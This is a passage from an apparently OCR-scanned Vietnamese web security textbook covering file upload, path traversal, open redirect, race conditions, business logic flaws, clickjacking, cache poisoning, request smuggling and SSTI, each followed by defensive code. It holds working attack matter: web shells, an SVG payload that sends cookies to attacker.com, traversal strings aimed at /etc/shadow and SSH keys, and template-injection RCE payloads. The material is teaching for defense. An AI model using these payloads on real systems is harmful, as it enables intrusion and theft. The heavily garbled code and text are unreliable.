ww-data) gi ww-data)

curl "https://example.com/uploads/shell.php?cmd=cat+/etc/pas
curl "https://example.com/uploads/shell.php?cmd=1s+-1la+/"

Python/PerlIRuby Web Shell (néu server support)

"

# shell.py (néu server ct
import os, cgi
form = cgi.FieldStorage()

cmd = form.getvalue('cmd', 'id")
print("Content-type: text/html\n\n")
print(os.popen(cmd).read())

I Bypass Validation Techniques

1. Bypass Content-Type Check
Server check Content-Type header trong multipart upload:

POST /upload HTTP/1.1

Content-Type: multipart/form-data; boundary=----boundary
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boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg ~ Thay d6i Content-Type sang image/jpeg

<?php system($_GET['cmd']); ?>
boundary- -

Server check Content-Type: image/jpeg — pass! Nhung lvu ndi dung PHP vao file .php.

2. Bypass Extension Blacklist

# NEéu server block .php:

shell.php3 # PHP3
shell.php4 # PHP4
shell.php5 # PHP5
shell.phtml # PHP HTML template
shell. # Case variation
shell. # Uppercase
shell.php.jpg # Null byte trudc: shell.php%00.jpg (PHP 5.3.4 trd vé)
shell.php. # Trailing dot (Windows)

shell.php::$DATA # Windows ADS (Alternate Data Stream)

shell.phar # PHP Archive

# Apache: néu khong set handler cho .xxx - fallback
shell.php.xxx
shell.php.unknown

3. Bypass Extension Whitelist
Néu server chi accept .jpg, .png, .gif:

# NEu server duwa vao extension dé serve
shell.jpg véi content PHP

- Upload thanh céng vi extension .jpg

- Nhung lam sao chay PHP trong .jpg?

# Apache misconfiguration:

# NEu co .htaccess upload:

AddType application/x-httpd-php .jpg
# - Tat ca .jpg duoc xtr ly nhu PHP!

# Or: upload .htaccess file
Content-Disposition: form-data; name="file"; filename=".htaccess"

AddType application/x-httpd-php .jpg

# Sau do upload shell.jpg - executes as PHP

4. Upload .htaccess

# .htaccess trong upload directory
AddType application/x-httpd-php .jpg
Options +ExecCGI

AddHandler cgi-script .jpg

Phong chong: Server khong nén doc .htaccess trong upload directories.

5. Polyglot Files

File hop 1é ¢ nhiéu formats cung lic:
# Tao file vira la valid JPEG virra la valid PHP
import struct

# JPEG magic bytes
jpeg_header = b'\xff\xd8\xff\xe0'

# PHP payload bén trong JPEG metadata
php_payload = b'"'
<?php system($_GET['cmd']); ?>

# GIF + PHP polyglot
polyglot = b'GIF89a' + php_payload # Valid GIF header + PHP code
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with open('polyglot.php.gif', 'wb') as f:
f.write(polyglot)

# Néu server check: "C6 phai GIF khong?" — GIF89a header - pass!
# NEu server serve véi .php extension - PHP executes

Tool: exiftool dé€ embed trong metadata:

.
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# — PHP trong EXIF comment cua file JPEG
# NEu server dung GD/Imagick va preserve EXIF payload survive image resizing

6. Path Traversal trong Filename

filename = "../../../var/www/html/shell.php"
-~ File duwoc luu ra khoi upload directory

# URL encoded
filename = "..%2F..%2F..%2Fvar%2Fwww%2Fhtm1%2Fshell.php"

# Double encoded
filename = "..%252F..%252Fvar%252Fwww%252Fhtm1%252Fshell.php"

7. Race Condition

Upload file.php (véi web shell)

. Server validate - x6a néu invalid

. Trong window nhé gitta upload va validate
- Ké tén cong request file.php
- PHP executes trudc khi bi xo6a

I Kich ban tan c6ng: SVG Upload XSS

Du server c6 restrict PHP, SVG files c6 thé trigger XSS:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.0rg/Graphics/SVG/1.1/DTD/svgll.dtd">
<svg version="1.1" xmlns="http://www.w3.0rg/2000/svg">
<script type="text/javascript'">
alert(document.cookie);
fetch('https://attacker.com/steal?c=' + document.cookie);
</script>
</svg>

Néu server serve SVG véi Content-Type: image/svg+xml — browser execute JS.

| cach phat hien

0 Upload cac file types khac nhau:
- .php, .php5, .phtml, .phar
- .asp, .aspx (IIS)
- .Jjsp (Tomcat)
- .sh (bash)

Thi bypass Content-Type: image/jpeg v6éi PHP content
Upload .htaccess

Test extension variations: .pHp, .PHP, .php.jpg
Check upload directory cé executable khong?

Check néu file c6 thé truy cap truc tiép tir URL

SVG: inject XSS payload

DOCX/XLSX: XXE payload
Filename path traversal
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| Phong chéng

1. Validate File Content (Magic Bytes)

import magic
from PIL import Image
import io

def validate_image(file_content: bytes, allowed_types: list) -> bool
# Kiém tra magic bytes (khdng phdi extension hoac Content-Type)
detected_type = magic.from_buffer(file_content, mime=True)

if detected_type not in allowed_types:
return False

# Kiém tra la anh thuc su (c6 thé parse duoc)
if detected_type in ('image/jpeg', 'image/png', 'image/gif'):
try:
img = Image.open(io.BytesIO(file_content))
img.verify() # Verify integrity
except Exception:
return False

return True
ALLOWED_IMAGE_TYPES = ['image/jpeg', 'image/png', 'image/gif', 'image/webp']

@app.route('/upload', methods=['POST'])
def upload():
file = request.files['avatar']
content = file.read()

if not validate_image(content, ALLOWED_IMAGE_TYPES):
return {"error": "Invalid file type"}, 400

# X ly tiép...

2. Rename File — Khong giir tén g6c
import secrets
import os
from pathlib import Path

def save_upload(file_content: bytes, original_filename: str) -> str:
Ldy extension tir whitelist, khong ti&r user input
ext_map = {
'image/jpeg': '.jpg',
'image/png': '.png',
'image/gif': '.gif'

detected_mime = magic.from_buffer(file_content, mime=True)

if detected_mime not in ext_map:
raise ValueError("File type not allowed")

# Tao tén file random
safe_filename = secrets.token_hex(16) + ext_map[detected_mime]

# Luu NGOAI webroot — khong accessible truc tiép qua HTTP
upload_dir = Path('/var/uploads') # Khong phai /var/www/html/uploads
file_path = upload_dir / safe_filename

file_path.write_bytes(file_content)
return safe_filename

3. Lwu ngoai Webroot va Serve qua Application

# Serve file qua application layer, khéng truyc tiép
@app.route('/files/<file_id>")
@login_required
def serve_file(file_id):
# Check ownership
file = db.get_file(file_id, owner_id=g.current_user.id)
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if not file:
abort(404)

file_path = Path('/var/uploads') / file.stored_name

return send_file(
file_path,
mimetype=file.mime_type,
as_attachment=False,
download_name=file.original_name

4. Image Reprocessing

from PIL import Image
import io

def reprocess_image(file_content: bytes) -> bytes:
win
Reprocess image dé strip metadata va ensure clean file
- Loai bo EXIF/metadata (ngan polyglot attacks)
- Resize/recompress (ngan decompression bombs)

nun

img = Image.open(io.BytesIO(file_content))

# Convert vé RGB (dam bado consistent format)
if img.mode in ('RGBA', 'P'):

img = img.convert('RGBA")
else:

img = img.convert('RGB")

# Limit size
max_size = (2048, 2048)
img.thumbnail(max_size, Image.LANCZOS)

# Save lai — khong preserve metadata
output = io.BytesIO()
img.save(output, format='JPEG', quality=85)

return output.getvalue()

5. Nginx Config — Khéng Execute trong Upload Directory

location /uploads/ {
# Khong cho phép execute scripts
add_header X-Content-Type-Options nosniff;

# Override Content-Type — force download
types { }
default_type application/octet-stream;

# Hoac: chan execution
location ~* \.(php|phtml|php3|php4|php5|pl|py|rb|sh)$ {
return 403;

# Khong doc .htaccess
disable_symlinks on;

I Go6c nhin DevOps

Luu file trén Object Storage (S3) thay vi local:

-

import boto3
s3 = boto3.client('s3")

def upload_to_s3(file_content: bytes, original_name: str) -> str:
# Random key name
s3_key = f"uploads/{secrets.token_hex(16)}.jpg"

s3.put_object(
Bucket="my-uploads-bucket',
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Key=s3_key,
Body=file_content,
ContentType="'image/jpeg"',
ytion
ServerSideEncryption="'AES256',
# Khong public

return s3_key

# Serve qua presigned URL (temporary, limited time)
def get_presigned_url(s3_key: str) -> str
return s3.generate_presigned_ur1(
'get_object',
Params={'Bucket': 'my-uploads-bucket', 'Key': s3_key}
ExpiresIn=3600 1 gio

|

Kubernetes: Scan uploaded files:

amAV
containers:

- name: app
image: myapp

- name: clamav
image: clamav/clamav
volumeMounts:

- name: uploads
mountPath: /uploads

|

Limit upload size:

# Nginx: limit file size
client_max_body_size 10M;

# Kubernetes Ingress
nginx.ingress.kubernetes.io/proxy-body-size: "16m"

Tom tat

¢ File upload vulnerabilities — web shell upload - RCE.

o Validate bang magic bytes (file content), khong phai extension hay Content-Type header.
o Rename files v4i random names — khong gitt tén goc.

¢ Luu files ngoai webroot va serve qua application.

o Reprocess images dé strip metadata va ensure clean content.

o S3 object storage + presigned URLSs la pattern t6t nhat.

¢ Nginx config ngan script execution trong upload directories.

Cau hoi 6n tap

1. Tai sao kiém tra Content-Type header khong du dé validate file upload?
2. Polyglot file attack la gi? Tai sao image reprocessing gitp phong chong?
3. Tai sao luu files trong webroot nguy hiém hon ngoai webroot?

4. Race condition trong file upload vulnerability hoat dong nhu thé nao?

5. M0 ta tai sao S3 + presigned URLs la pattern t6t cho file storage.
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Chwong 18: Path Traversal

| khai niem
Path Traversal (Directory Traversal — Duyét thu muc) 1a 16 héng cho phép hacker doc (d6i khi ghi) files ngoai thw muc dwgc phép bang cach dung sequences nhw ../ dé

leo ra khéi intended directory.

Mitc do nguy hiém: Cao — DPoc /etc/passwd , config files, private keys, source code.

I Cach hoat dong

r

# Vulnerable code: load &nh theo filename tu
def serve_image(filename):
path = f"/var/www/app/images/{filename}"
return open(path, 'rb').read()

filename = "profile.jpg"

/var/www/app/imag profile.jpg

—n

filename = "../../../etc/pa
/images/../../..

10!

I Bypass Techniques

Basic

../../../etc/passwd
. %2F. .%2F . .%2Fetc%2Fpasswd URL encoded
. .%252F. . %252Fetc%252Fpasswd Double URL encoded

...//....//etc/passwd (khi filter strip ../)
..././..././etc/passwd (khi filter strip ../)
/etc/passwd Absolute path

Null Byte (PHP <= 5.3.4)

../../../etc/passwd%00.jpg
- Null byte truncate: path = /etc/passwd (bd .jpg)

Encode Variations

%2e%2e%2T

%2e%2e/

. .%2f

%2e./ = oo

.%2e/ - ./

%252e%252e%252f — ../ (double encoded)
. . %co0%af - ../ (overlong UTF-8)

. .%C1%9c - ../ (overlong UTF-8)

Target Files

# Linux

/etc/passwd

/etc/shadow P d he
/etc/hosts # Hostname mappin
/proc/self/environ ronment v
/proc/self/cmdline command
~/.ssh/id_rsa SH private key

/var/log/apache2/access. log
/var/log/nginx/error. log
/etc/nginx/nginx.conf

/app/.env App environment variables
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/var/www/html/config.php # PHP config

# Windows

C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini

C:\inetpub\wwwroot\web.config

..\..\..\Windows\win.ini # Windows path separator

I Kich ban tan cong

Target: App cho phép download reports theo filename
GET /api/download?file=report_2024.pdf

Attack:
GET /api/download?file=../../../../etc/passwd

Néu bi filter:
GET /api/download?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
GET /api/download?file=....//....//....//....//etc/passwd

import os
from pathlib import Path

def serve_file_safe(filename: str, base_dir: str = '/var/www/app/uploads'):
Validate: chi alphanumeric, dot, dash, underscore
if not re.match(r'A[a-zA-20-9._-]+$', filename)
raise ValueError("Invalid filename")

# Resolve real path
base = Path(base_dir).resolve()
requested = (base / filename).resolve()

# Verify file la con cula base directory
if not str(requested).startswith(str(base)):
raise ValueError("Path traversal detected")

if not requested.exists()
raise FileNotFoundError("File not found")

return requested.read_bytes()

# Hoac dung os.path

def is_safe_path(base_dir, requested_path)
base = os.path.realpath(base_dir)
resolved = os.path.realpath(os.path.join(base_dir, requested_path))
return resolved.startswith(base)

I Go6c nhin DevOps
Nginx: chroot-like file serving:
# Nginx alias thay vi root — han ché path
location /downloads/ {
alias /var/uploads/;
# Chi serve certain file types

location ~* \.(pdf|xlsx|csv)$ {
add_header Content-Disposition "attachment";

# Block moi th& khac
location ~ {
return 403;

Container: Read-only filesystem:
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securityContext:

readOnlyRootFilesystem: true # Root FS rea
# Néu cé path tra L, khéong ghi duwoc f

| Tom tét
o Path traversal: ../ dé thoat khoi thw muc muc tiéu.
* Bypass: URL encoding, double encoding, null byte, stripped sequence bypass.
o Phong chong: validate filename, check resolved path nam trong base directory.

o Luu files bén ngoai webroot va khéng dung user input truc tiép lam filename.

| cau hei on tap
1. Tai sao filter don gian loai bo ../ khéng du dé phong chdng path traversal?
2. Null byte attack hoat dong nhuw thé nao véi path traversal?
3. Lam thé nao dé verify duong dan file nam trong thw muc dugc phép?
4. Trén Windows, path traversal c6 gi khac so v6i Linux?

5. realpath() giup gi trong viéc phong chong path traversal?
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Chwong 19: Open Redirect

| khai niem

Open Redirect la 16 hong cho phép hacker redirect ngudi dung tir trang web tin cdy dén trang web tuy y. Thuwong dung dé: - Phishing: redirect dén clone site - SSRF bypass
(chuwong 15) - OAuth redirect bypass (chuwong 7)

Miitc d9 nguy hiém: Thap-Trung binh (standalone) nhung cao khi két hgp vdi cac 16 hong khac.

I Cach hoat dong

# Vulnerable code: redirect sau login
@app.route('/login')
def login():
next_url = request.args.get('next') # T& user input
if authenticate(request.form):
return redirect(next_url) # Redirect dén URL do user chi dinh

# Normal: /login?next=/dashboard - redirect dén /dashboard
# Attack: /login?next=https://phishing.com redirect dén phishing site

Bypass Validation

+ Néu server check "next phai ch&a example.com":
/login?next=https://example.com.evil.com cé "example.com"!

+ Néu server check "next phai bat dau bang /":
/login?next=//evil.com // la protocol-relative URL
+ — Browser redirect dén: https://evil.com (hoac http://)

# Encode:
/login?next=%2F%2Fevil.com
/login?next=https:%2F%2Fevil.com

# CRLF injection trong redirect
/login?next=/dashboard%0d%0aLocation:%20https://evil.com

Kich ban tan cong: SSRF via Open Redirect

SSRF payload bi block truwc tiép:
{"url": "http://169.254.169.254/"} - BLOCKED (IP blocklist)

Bypass qua open redirect:

1. example.com cé open redirect: /redirect?url=...

2. SSRF payload: {"url": "https://example.com/redirect?url=http://169.254.169.254/"}
3. App fetch example.com - 302 redirect - 169.254.169.254

4. Néu app follow redirects — SSRF bypass!

Phong chéng

from urllib.parse import urlparse

def safe_redirect(next_url: str, default: str = '/dashboard') -> str
if not next_url:
return default

parsed = urlparse(next_url)

# Chi cho phép relative paths hodc same origin
if parsed.scheme or parsed.netloc:

# External URL - khdng redirect

return default

# Chi cho phép paths bt dau bang /
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if not next_url.startswith('/"):
return default

# Chan //evil.com
if next_url.startswith('//'):
return default

return next_url

# Hoac: Dung whitelist
ALLOWED_REDIRECTS = {'/dashboard', '/profile', '/settings'}

def validate_redirect(next_url: str) -> str:
if next_url in ALLOWED_REDIRECTS:
return next_url

return '/dashboard'

| Tom tit
¢ Open redirect: redirect user dén URL tuy y — phishing, SSRF bypass, OAuth bypass.
e //evil.com la URL hop l€ (protocol-relative).

o Phong chéng: chi allow relative paths, reject external URLSs, dung whitelist.
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Chwong 20: Race Condition

| khai niem
Race Condition (Diéu kién dua tranh) xdy ra khi outcome ctia mot operation phu thudc vao timing cta cac concurrent requests. Hacker khai thac bang cach gui nhiéu

requests dong thoi dé bypass business logic.

Mitc d¢ nguy hiém: Trung binh-Cao — Race conditions c6 thé bypass rate limiting, sit dung coupon nhiéu lan, overdraft tai khoan.

I TOCTOU — Time-of-Check to Time-of-Use

Check - ... (time gap) ... - Use

Thread 1: Check balance (100$) - OK - (waiting) - Withdraw 100$

Thread 2: - Check balance (100$) - OK — Withdraw 100$
— Ca& hai withdraw 100$ mac du chi cé 100$ trong tai khoan!

I Cac loai Race Condition

1. Limit Overrun

# Vulnerable: Coupon chi dung 1 lan
def apply_coupon(user_id, coupon_code):
coupon = db.get_coupon(coupon_code)

if coupon.is_used:
return "Already used"

# Ra condition: hai re déu check va thady coupon chua dung
db.apply_discount(user_id, coupon.discount)

coupon.is_used = True

db.save(coupon)

Request 1: Check is_used=False - OK

Request 2: Check is_used=False - OK (cung luc véi Request 1)
Request 1: Apply discount - Save is_used=True

Request 2: Apply discount — Save is_used=True

- Discount ap dung 2 lan!

2. Multi-Endpoint Race Condition

Deposit + Withdraw dong t
1. Deposit $100 - balance: $0 - $100
2. Simultaneously: Withdraw $100 - check $1060 OK

Néu race conditio
Check: $100 available (before deposit committed)
-~ Ca hai operations commit - balance am!

I Single-Packet Attack (Burp Turbo Intruder)

HTTP/2 cho phép gui nhiéu requests trong cing mot TCP packet — gidm timing uncertainty — race condition dé trigger hon.

# Burp Turbo Intruder script cho race condition
def queueRequests(target, wordlists)
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=20, # Nhiéu reqt ts trong 1 connec
pipeline=True, # HTTP pipelining

for i in range(20):
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engine.queue(target.req)

def handleResponse(req, interesting)
table.add(req)

I Kich ban tan cong: Gift Card Abuse
Target: Ap dung gift card (chi 1 1an)

. Intercept request: POST /apply-gift-card

. Send to Turbo Intruder véi 50 concurrent requests

. Tat ca requests check card chua used - tat ca apply discount
. 1 gift card - 50x discount

I Phong chong

# Database tra >tio /61 SERIALIZABLE isolation
def apply_coupon_safe(user_id, coupon_code):
with db.transaction(isolation="'SERIALIZABLE'):
coupon = db.get_coupon_for_update(coupon_code) # SELECT FOR UPDATE

if coupon.is_used:
return "Already used"

db.apply_discount(user_id, coupon.discount)
coupon.is_used = True
db.save(coupon)

Transaction commit atomic

# Redis atomic operations cho counter/lock
import redis

def check_and_use_coupon(coupon_code):
r = redis.Redis()

# SETN SET if Not atomic
key = f'"coupon:{coupon_code}:used"
if not r.setnx(key, "1")

return False # Pa used

r.expire(key, 86400) # 24h TTL
return True # First use

| T6m tat
¢ Race condition: concurrent requests trong timing gap — bypass business logic.
e TOCTOU: thay déi state gitta check va use.
o Khai thac: Turbo Intruder, single-packet attack (HTTP/2).
o Phong chong: database transactions (SERIALIZABLE), atomic operations (Redis SETNX), database-level locking (SELECT FOR UPDATE).

| cau hei on tap
1. TOCTOU la gi? Cho vi du cu thé trong web application.
2. Tai sao single-packet attack véi HTTP/2 dé trigger race condition hon?
3. Lam thé ndo SELECT FOR UPDATE ngan race condition?
4. Redis SETNX giai quyét race condition nhw thé nao?

5. Race condition khéc application logic bug ¢ diém nao?
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Chwong 21: Business Logic Vulnerabilities

| khai niem
Business Logic Vulnerabilities 13 156i trong business rules ctia tng dung — khong phai 16i ky thuat nhw injection hay XSS, ma 1a logic 16i: (tng dung lam diéu gi d6 khong

ding v4i business intent.
Mitc do nguy hiém: Bién thién — Tt fraud nho dén financial loss 16n.
Dac diém: Kho detect bang automated tools. Doi hoi hiéu business context.

I Cac loai Business Logic Vulnerabilities

1. Price Manipulation

Scenario: Mua hang vGi gia am

POST /api/cart/add
{"product_id": 1, "quantity": -5}

-~ Gia = unit_price x quantity =
- Total giam $50 - hacker dwoc tién!

2. Workflow Bypass

Binh thuong:
Step 1: Add to cart - Step 2: Enter address - Step 3: Payment - Step 4: Confirm

Bypass:
Step 1 - Step 4 (nhay truc tiép - khdong can thanh toan)

Néu server khong check "user da qua payment step chua"
- Order duoc tao ma khdéng thu tién

3. Trust Assumption L6i

# Vulnerable: Tin vao client-supplied di

POST /api/checkout

{
"items": [...],
"discount_code": "ADMIN50"
"discount_percent": 99 # — Client chi dinh

- nhan di unt_percent twr client ap

4. Integer Overflow | Underflow

Max quantity per order: 1000
Hacker order: quantity = 2147483648 (max int32)
- Overflow - quantity becomes negative - price negative

5. Email Case Sensitivity

bang ky véi: Admin@example.com
Login v6éi: admin@example.com

Néu app store email as-is nhung lookup case-insen
- C6 thé tao nhiéu accounts cho clung email
- Bypass "1 account per email" restriction
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I Kich ban tan c6ng: Refund Fraud

Target: E-commerce app v6éi refund policy

Mua product A ($100)
Nhan product A
Request refund - $100 dugc tra lai
(Trong mot s6 app) Order status khong update correct
. Return window van open - request another refund
— Nhan tién 2 lan, gilr product

| cach phat hien

Th&r negative quantities, prices, quantities

Bypass multi-step workflows badng céch nhdy steps
Test integer extremes (@, -1, MAX_INT, MIN_INT)
Modify hidden fields / client-supplied parameters
Test véi diéu kién "impossible" (trd hang nhiéu 1an)
Test timing: actions trong wrong order

Test boundary conditions (exact limit)

# Validate tat ca business rules server-side
def add_to_cart(product_id: int, quantity: int, user_id: int)
Validate khéng tin client
if quantity <= 0:
raise ValueError('"Quantity must be positive")

if quantity > 100: # Business rule: max 100 per order
raise ValueError("Maximum 100 items per order")

product = db.get_product(product_id)
if not product or not product.is_available:
raise ValueError("Product not available")

# Calculate price server-side, khong nhan tu client
price = product.price * quantity
# Apply discounts server-side vi verified discount code

# State machine cho workflow
cart = db.get_cart(user_id)
if cart.status != 'OPEN':
raise ValueError("Cart is not in OPEN state")

# State machine cho order workflow
class OrderStateMachine:
VALID_TRANSITIONS = {

"PENDING': ['PAID', 'CANCELLED'],
'PAID': ['SHIPPED', 'REFUNDED'],
'SHIPPED': ['DELIVERED', 'RETURNED'],
'DELIVERED': ['COMPLETED'],
'COMPLETED': [1,

transition(self, order, new_status):
current = order.status
if new_status not in self.VALID_TRANSITIONS.get(current, []):
raise ValueError(f"Cannot transition from {current} to {new_status}")
order.status = new_status

I Go6c nhin DevOps

Business Logic Testing trong CI/CD:

# Automated business logic tests

def test_negative_quantity_rejected():
response = client.post('/api/cart/add', json={'product_id': 1, 'quantity': -1})
assert response.status_code == 400

def test_price_is_server_calculated():
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# Order voi gia twr client bi ignore
response = client.post('/api/checkout', json={'price': 0.01})
order = response.json()
assert order['total'] expected_price # Server price, khong client price

test_workflow_sequence_enforced():

# Cannot skip to confirmation without p ent
response = client.post('/api/orders/confirm/ORD-001")
assert response.status_code == 403 # Chuwa thanh toan

Tom tat

o Business logic bugs la 16i vé business rules, khéng phai ky thuat.
o Kho detect bang tools — can hiéu business intent.
o Phg bién: price manipulation, workflow bypass, trust in client input, integer issues.

o Phong chong: validate tit ca business rules server-side, state machines, khong tin client-supplied values.

| cau hei on tap
1. Business logic vulnerability khac vdi technical vulnerability nhw SQLi & diém nao?
2. Tai sao negative quantity attack hoat dong? Can validate gi?
3. State machine pattern gitip phong chong workflow bypass nhu thé nao?
4. Tai sao automated scanners khé phat hién business logic bugs?

5. M6 ta mot business logic vulnerability trong hé thong banking.
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Chwong 22: Clickjacking

| khai niem
Clickjacking (UI Redressing — Téi trang tri giao dién) la tdn cong khién nguwai dung click vao thit ho khong thay hoac khong nghi ho dang click.
Mitc do nguy hiém: Trung binh — Phu thudc vao action bi khai thac.

Co ché: Nhiing trang web muc tiéu vao iframe v0 hinh, overlay trén trang decoy.

I Cach hoat dong

r

I-- Trang cula ha

<style>

iframe {
position: absolute;
width: 500px;
height: 700px;
opacity: 0.0001; /* VO hinh nhung van clickable *
z-index: 2;
top: 0; left: 0;

}

.decoy {
position: absolute;
z-index: 1;
top: 300px; /* Overlap voi iframe's button *
left: 200px;

}
</style>

<iframe src="https://bank.com/transfer?to=hacker&amount=1000"></iframe>
<div class="decoy">

<button>Click here to claim your prize!</button>
</div>

-- User click "claim pr actually click com "Confirm Transfer" --

I Phong chdng

X-Frame-Options

X-Frame-Options: DENY - khong ai dugc embed
X-Frame-Options: SAMEORIGIN -~ chi same origin duoc embed

X-Frame-Options: ALLOW-FROM https://partner.com - deprecated

Content-Security-Policy frame-ancestors

Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self'
Content-Security-Policy: frame-ancestors https://partner.com

CSP frame-ancestors thay thé x-Frame-Options — linh hoat hon

# Nginx
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "frame-ancestors 'none'" always;

Frame-busting JavaScript (Khong dang tin)

Yéu: c6 thé bypass bang sandbox iframe
if (window ! ndow. top) {
window. top.location = window. location;
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Bypass:

<iframe sandbox="allow-forms allow-scripts" src="...">

| Tom tét
o Clickjacking: invisible iframe overlay — user click phan ti hidden.
o Phong chéng: X-Frame-Options: DENY + CSP: frame-ancestors 'none'.

o Frame-busting JS c6 thé bi bypass véi sandbox iframe.
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Chwong 23: Web Cache Poisoning

| khai niem
Web Cache Poisoning la tan cong khién cache (CDN, Varnish, Nginx cache) luwu trit va phuc vu response doc hai dén nhiéu nguai dung.

Mitc do nguy hiém: Cao — M0t attack anh hwdng tat ca users nhan cached response.

I Cache Keys va Unkeyed Inputs

Cache key la tap hgp cac components xac dinh “request nay c6 giong request tredc khong”: - Thuong: URL + Host header - Khong bao gom: nhiéu headers, cookies (trit khi
configured)

Unkeyed inputs = headers/parameters ma server xt ly nhung cache khong tinh vao key.

| cach hoat dong

. Tim unkeyed input &nh huéng dén response:
X-Forwarded-Host: attacker.com
- Server dung dé tao links trong response

2. Poison cache:

GET /path HTTP/1.1

Host: example.com
X-Forwarded-Host: attacker.com

Response (cached):
<script src="https://attacker.com/evil.js"></script>

3. Néu response dugc cache:
- Moi user request /path - nhan response véi attacker.com script
- XSS cho tdt ca users!

I Attack Vectors

Host Header Injection

GET / HTTP/1.1

Host: example.com

X-Forwarded-Host: "><script>alert(1)</script>
X-Host: "><script>alert(1)</script>

Fat GET Request

GET /?utm_source=test HTTP/1.1
Host: example.com

search=INJECTED_PAYLOAD
# GET request v&i body — mdt sb servers xir ly body
# MOt sO6 caches khdong include body trong key - poisoned cache

Cache Deception vs. Cache Poisoning

Cache Deception (ngugc lai)
Lira server cache sensitive data (clGa victim)

. Hacker tao URL: /account/profile/nonexistent.css
. Server: tra profile HTML (ignore invalid path)

. Cache: thay .css - cache aggressive (dwa vao extension)

. Hacker request: /account/profile/nonexistent.css
. Nhan cached profile cla... victim néu victim da request trudc
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| Phong chéng

. Disable caching cho sensitive endpoints

. Validate unkeyed inputs (X-Forwarded-Host, etc.)
. Add unkeyed inputs vao Vary header hoac cache key
. Dung Param Miner dé phat hién unkeyed inputs

. Cache-Control: no-store cho responses nhay cam

# Cache configuration an toan

proxy_cache_key "$scheme$proxy_host$request_uri$http_x_requested_with";
# Thém important headers vao cache key

location /api/ {
add_header Cache-Control "no-store, no-cache" always;
proxy_no_cache 1;

| Tom tat
o Cache poisoning: inject vao unkeyed input — cached response doc hai - anh huwdng nhiéu users.

e Phat hién: Param Miner extension.

o Phong chéng: validate inputs, khong cache dya vao unkeyed params, no-store cho sensitive endpoints.
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Chwong 24: HTTP Request Smuggling

| khai niem
HTTP Request Smuggling la tdn cong khai thac sy khong dong nhat giita front-end server (load balancer/WAF) va back-end server vé cach xac dinh ranh gigi giita cac
HTTP requests.

Mitc do nguy hiém: Rét cao — Bypass WAF, poison cache, hijack user requests.

| cL.TE, TE.CL, TE.TE

HTTP/1.1 c6 hai headers xac dinh message length: - Content-Length : D6 dai cua body tinh bang bytes - Transfer-Encoding: chunked : Body dugc giti theo chunks

CL.TE — Front-end dung Content-Length, Back-end dung Transfer-Encoding

POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

o Front-end (CL): thdy body = 13 bytes — gtti toan b dén back-end
o Back-end (TE): thdy o\r\n\r\n - request két thic tai d6

e SMUGGLED - dugc prepend vao request tiép theo!

TE.CL — Front-end dung Transfer-Encoding, Back-end duing Content-Length

POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

o Front-end (TE): xt Iy chunked — forward toan bg dén back-end

o Back-end (CL): thdy body = 3 bytes ( 8\r\n ) — phan con lai la prefix cta request ké tiép

| Khai thac

Bypass WAF

WAF nam & front-end - block malicious requests
Smuggling: append payload vao request cla user khac
- Payload dén back-end ma khong qua WAF check

Capture Other Users’ Requests

Smuggle partial request header cla hacker
POST /search HTTP/1.1

Content-Length: 166

Transfer-Encoding: chunked

GET /capture HTTP/1.1
X-Ignore: X

— Request cua victim bi prepend vao GET /capture , attacker nhan victim’s cookies/tokens.
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| Phong chéng

. Dung HTTP/2 end-to-end (khéng bi smuggling theo cach nay)
. Normalize ambiguous requests & front-end

. Reject requests véi ca CL va TE headers
. Enable "Reuse backend connections" = false

Nginx:
proxy_http_version 1.1;
proxy_set_header Connection "";

| T6m tat
o Request smuggling: front-end va back-end disagree vé request boundaries.
e Bavariant: CL.TE, TE.CL, TE.TE (obfuscated header).
o Impact: WAF bypass, cache poisoning, session hijacking.

o Phong chong: HTTP/2 end-to-end, reject ambiguous requests.
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Chwong 25: SSTI — Server-Side Template Injection

| khai niem
SSTI (Server-Side Template Injection — Tiém vao template phia server) xdy ra khi user input dwgc nhing tryc tiép vao template engine va dugc evaluate, thay vi dugc
treated nhw data.

Miitc d9 nguy hiém: Rat cao — SSTI thuong dan dén RCE.

I Template Engines pho bién

Engine Ngon ngir Syntax

Jinja2 Python {33, {% %}
Twig PHP {1, {% %)
Freemarker Java S, ST
Thymeleaf Java ${...}, th:*
ERB Ruby <%= %>, <% %>
Pebble Java {33, {% %

Cach hoat dong

# Vulnerable Jinja2
from jinja2 import Template

@app.route('/hello")
def hello():
name = request.args.get('name')
I: string interpolation truéc khi template render
template = Template(f"Hello {name}!") # Inject point!
return template.render()

name=Alice - "Hello Alice!"
name={{ 13 "Hello 49!" Temp
1 Flask config

Detection

Fuzz voi: ${{<%[%'"}}%\
- Néu error - template engine present

Mathematical expressions:

${7*7} - 49 (Jinja2/Twig)

<%= 7*7 %> - 49 (ERB)

#{7*7} - 49 (Ruby template)

{{7*7}} - 49 (Jinja2)

{{7*'7'}} - '7777777"' (Jinja2 v&i Python multiplication)
- 49 (Twig v6éi PHP multiplication)

- Phan biét engine

I Exploitation

Jinja2 RCE

# Payload dé dat RCE trong Jinja2
{{config.__class__._init . globals_ ['os'].popen('id').read()}}

#+ Hoac qua MRO (Method Resolution Order)
{{''._class__._mro__[1].__subclasses_ ()}}
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st tadt ca subcla tim subproc open

{{''._class__._mro__[1].__subclasses__ ()[408]('id', shell=True, stdout=-1).communicate()}}

# Ngan hon:

{{self.__init__._globals__._ builtins__.__import__('os').popen('id').read()}}

Twig RCE

"

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Freemarker RCE

ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

I Phong chdng

# DUNG: data riéng biét, khdng string interpolation
from jinja2 import Env ment, select_autoescape

env = Environment(autoescape=select_autoescape(['html', 'xml']))
template = env.from_string("Hello {{ name }}!") # Template literal
return template.render(name=user_input) Data riéng biét

# Sandbox Jinja2
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()

# Gidi han ac dén Python internals

| T6m tat
o SSTI: user input evaluated nhw template code — RCE.
